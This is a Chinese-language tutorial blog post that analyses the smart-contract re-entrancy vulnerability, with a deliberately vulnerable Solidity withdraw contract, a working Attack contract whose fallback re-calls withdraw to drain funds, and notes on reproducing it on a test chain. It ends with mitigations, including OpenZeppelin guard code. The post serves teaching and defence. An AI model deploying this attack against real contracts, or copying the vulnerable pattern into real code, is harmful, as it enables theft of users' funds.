智能合约Re-Entrancy重⼊漏洞分析与复现

智能合约Re-Entrancy重⼊漏洞分析与复现

智能合约Re-Entrancy重⼊漏洞

原理分析

外部恶意合约回调了受攻击合约上的一个函数，并在受攻击合约上的任意位置“重新进入”代码执行。因为原合约的程序员可能没有预料到合约代码可以被”重入“，因此合约会出现不可预知的行为。在 gas 足够的情况下，合约之间甚至可以相互循环调用，直至达到 gas 的上限，但是如果循环中有转账之类的操作，就会导致严重的后果。

  1. function withdraw(uint _amount) public {
  2.     require(balances[msg.sender] >= _amount)
  3.     msg.sender.call.value(_amount)();
  4.     balances[msg.sender] -= _amount;
  5. }

其中，fallback函数是关键

fallback函数

当我们调用某个智能合约时，如果指定的函数找不到，或者根本就没指定调用哪个函数（如向合约发送 ether）时，fallback 函数就会被调用。

向合约发送 send、transfer、call 消息时候都会调用 fallback 函数，不同的是 send 和 transfer 有 2300 gas 的限制，也就是传递给 fallback 的只有 2300 gas，这个 gas 只能用于记录日志，因为其他操作都将超过 2300 gas。但 call 则会把剩余的所有 gas 都给 fallback 函数，这有可能导致循环调用。

而fallback函数是可以被重写的

如果构造一个 fallback 函数，函数里面也调用对方的 withdraw 函数的话，那将会产生一个循环调用转账功能，存在漏洞的合约会不断向攻击者合约转账，终止循环结束（以太坊 gas 有上限）

漏洞demo

  1. pragma solidity ^0.6.10;
  2. contract Victim {
  3.     mapping(address => uint) public balances;
  4.     address public owner;
  6.     //构造函数，设定合约所有者
  7.     constructor() public {
  8.         owner = msg.sender;
  9.     }
  11.     //接收资金转入
  12.     function deposit() public payable {
  13.         balances[msg.sender] += msg.value;
  14.     }
  16.     //提款
  17.     function withdraw(uint _amount) public {
  18.         require(balances[msg.sender] >= _amount);
  19.         msg.sender.call{value: _amount}("");
  20.         balances[msg.sender] -= _amount;
  21.     }
  23.     //查询余额
  24.     function getBalance() public view returns(uint) {
  25.         return address(this).balance;
  26.     }
  27. }

攻击合约

  1. contract Attack {
  2.     Victim public victim;
  4.     //设定受害者合约地址
  5.     constructor(address _victimAddress) public {
  6.         victim = Victim(_victimAddress);
  7.     }
  9.     //重写fallback
  10.     fallback() external payable {
  11.         if(address(victim).balance >= 1 ether){
  12.             victim.withdraw(1 ether);
  13.         }
  14.     }
  16.     //攻击，调用受害者的withdraw函数
  17.     function attack() external payable {
  18.         require(msg.value >= 1 ether);
  19.         victim.deposit{value: 1 ether}();
  20.         victim.withdraw(1 ether);
  21.     }
  23.     //查询余额
  24.     function getBalance() public view returns(uint) {
  25.         return address(this).balance;
  26.     }
  27. }

复现过程

虚拟机中

  • 分别为受害者和攻击者创建一个合约

  • 用deposit函数为受害者设定一定余额

  • 检查受害者余额

  • 进行攻击

  • 检查攻击者和受害者的余额

测试链上

  • 部署受害者合约

  • 部署攻击者合约

  • 为受害者合约打入2eth

  • 攻击

  • 结果

重入次数

由于gas的限制，重入次数是有一定限制的

调整参数，实验出最高重入次数

可以在区块链浏览器上查询到重入的次数

大约是9次

注意，一旦 out of gas 就会攻击失败。

规避建议

方法一

总是用 send()或transfer() 来发送 ether，而不是用 call.value()。因为transfer和send函数的gas仅有2300，这点gas仅够捕获一个event，所以将无法进行可重入攻击。

方法二

确保在执行外部调用之前已经更新了所有的内部状态，这一模式被称为：Checks-Effects-Interactions（“检查-生效-交互”）

第一步，大多数函数会先做一些检查工作（例如谁调用了函数，参数是否在取值范围之内，它们是否发送了足够的以太币Ether ，用户是否具有token等等）。这些检查工作应该首先被完成。

第二步，如果所有检查都通过了，接下来进行更改合约状态变量的操作。

第三步，与其它合约的交互应该是任何函数的最后一步。

  1. require(balances[msg.sender] > amount); //检查
  2. require(this.balance > amount); //检查
  3. balances[msg.sender] -= amount; // 生效
  4. to.call.value(amount)();  // 交互

方法三

  1. 使用互斥锁：添加一个在代码执行过程中锁定合约的状态变量，可防止重入调用
  1. bool reEntrancyMutex = false;
  2. function withdraw(uint _amount) public {
  3.     require(!reEntrancyMutex);
  4.     reEntrancyMutex = true;
  5.     require(balances[msg.sender] >= _amount);
  6.     msg.sender.call{value: _amount}("");
  7.     balances[msg.sender] -= _amount;
  8.     reEntrancyMutex = false;
  9. }
  1. 使用OpenZeppelin官方的ReentrancyGuard合约的nonReentrant modifier。

在函数中增加nonReentrant modifier可保证其不可重入，任何对该函数的重入操作都将以revert the call的方式来拒绝。

当合约中有多个函数时，由于modifier的粒度在单个函数，若想完全避免重入，应对每个函数都添加nonReentrant modifier。否则，仍然可以通过其他函数来重入然后发起重入攻击，若该函数可能破坏不变量。

  1. // SPDX-License-Identifier: MIT
  2. // OpenZeppelin Contracts v4.3.2 (security/ReentrancyGuard.sol)
  4. pragma solidity ^0.8.0;
  6. /**
  7.  * @dev Contract module that helps prevent reentrant calls to a function.
  8.  *
  9.  * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
  10.  * available, which can be applied to functions to make sure there are no nested
  11.  * (reentrant) calls to them.
  12.  *
  13.  * Note that because there is a single `nonReentrant` guard, functions marked as
  14.  * `nonReentrant` may not call one another. This can be worked around by making
  15.  * those functions `private`, and then adding `external` `nonReentrant` entry
  16.  * points to them.
  17.  *
  18.  * TIP: If you would like to learn more about reentrancy and alternative ways
  19.  * to protect against it, check out our blog post
  20.  * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
  21.  */
  22. abstract contract ReentrancyGuard {
  23.     // Booleans are more expensive than uint256 or any type that takes up a full
  24.     // word because each write operation emits an extra SLOAD to first read the
  25.     // slot's contents, replace the bits taken up by the boolean, and then write
  26.     // back. This is the compiler's defense against contract upgrades and
  27.     // pointer aliasing, and it cannot be disabled.
  29.     // The values being non-zero value makes deployment a bit more expensive,
  30.     // but in exchange the refund on every call to nonReentrant will be lower in
  31.     // amount. Since refunds are capped to a percentage of the total
  32.     // transaction's gas, it is best to keep them low in cases like this one, to
  33.     // increase the likelihood of the full refund coming into effect.
  34.     uint256 private constant _NOT_ENTERED = 1;
  35.     uint256 private constant _ENTERED = 2;
  37.     uint256 private _status;
  39.     constructor() {
  40.         _status = _NOT_ENTERED;
  41.     }
  43.     /**
  44.      * @dev Prevents a contract from calling itself, directly or indirectly.
  45.      * Calling a `nonReentrant` function from another `nonReentrant`
  46.      * function is not supported. It is possible to prevent this from happening
  47.      * by making the `nonReentrant` function external, and making it call a
  48.      * `private` function that does the actual work.
  49.      */
  50.     modifier nonReentrant() {
  51.         // On the first call to nonReentrant, _notEntered will be true
  52.         require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
  54.         // Any calls to nonReentrant after this point will fail
  55.         _status = _ENTERED;
  57.         _;
  59.         // By storing the original value once again, a refund is triggered (see
  60.         // https://eips.ethereum.org/EIPS/eip-2200)
  61.         _status = _NOT_ENTERED;
  62.     }
  63. }
  1. 使用采用pull payment模式，OpenZeppelin提供了PullPayment合约。

其提供了_asyncTransfer函数，与transfer类似。然而，它不会将资金发送给接收者，而是将其转移到托管合约中。此外，PullPayment还为接收者提供了一个公共功能来提取（pull）他们的支付：withdrawPayments。

  1. // SPDX-License-Identifier: MIT
  2. // OpenZeppelin Contracts v4.3.2 (security/PullPayment.sol)
  4. pragma solidity ^0.8.0;
  6. import "../utils/escrow/Escrow.sol";
  8. /**
  9.  * @dev Simple implementation of a
  10.  * https://consensys.github.io/smart-contract-best-practices/recommendations/#favor-pull-over-push-for-external-calls[pull-payment]
  11.  * strategy, where the paying contract doesn't interact directly with the
  12.  * receiver account, which must withdraw its payments itself.
  13.  *
  14.  * Pull-payments are often considered the best practice when it comes to sending
  15.  * Ether, security-wise. It prevents recipients from blocking execution, and
  16.  * eliminates reentrancy concerns.
  17.  *
  18.  * TIP: If you would like to learn more about reentrancy and alternative ways
  19.  * to protect against it, check out our blog post
  20.  * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
  21.  *
  22.  * To use, derive from the `PullPayment` contract, and use {_asyncTransfer}
  23.  * instead of Solidity's `transfer` function. Payees can query their due
  24.  * payments with {payments}, and retrieve them with {withdrawPayments}.
  25.  */
  26. abstract contract PullPayment {
  27.     Escrow private immutable _escrow;
  29.     constructor() {
  30.         _escrow = new Escrow();
  31.     }
  33.     /**
  34.      * @dev Withdraw accumulated payments, forwarding all gas to the recipient.
  35.      *
  36.      * Note that _any_ account can call this function, not just the `payee`.
  37.      * This means that contracts unaware of the `PullPayment` protocol can still
  38.      * receive funds this way, by having a separate account call
  39.      * {withdrawPayments}.
  40.      *
  41.      * WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.
  42.      * Make sure you trust the recipient, or are either following the
  43.      * checks-effects-interactions pattern or using {ReentrancyGuard}.
  44.      *
  45.      * @param payee Whose payments will be withdrawn.
  46.      */
  47.     function withdrawPayments(address payable payee) public virtual {
  48.         _escrow.withdraw(payee);
  49.     }
  51.     /**
  52.      * @dev Returns the payments owed to an address.
  53.      * @param dest The creditor's address.
  54.      */
  55.     function payments(address dest) public view returns (uint256) {
  56.         return _escrow.depositsOf(dest);
  57.     }
  59.     /**
  60.      * @dev Called by the payer to store the sent amount as credit to be pulled.
  61.      * Funds sent in this way are stored in an intermediate {Escrow} contract, so
  62.      * there is no danger of them being spent before withdrawal.
  63.      *
  64.      * @param dest The destination address of the funds.
  65.      * @param amount The amount to transfer.
  66.      */
  67.     function _asyncTransfer(address dest, uint256 amount) internal virtual {
  68.         _escrow.deposit{value: amount}(dest);
  69.     }
  70. }
  • 发表于 2021-11-16 09:45:14
  • 阅读 ( 6281 )
  • 分类：漏洞分析

0 条评论

Sissice
Sissice

2 篇文章

Sissice

如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！

站长统计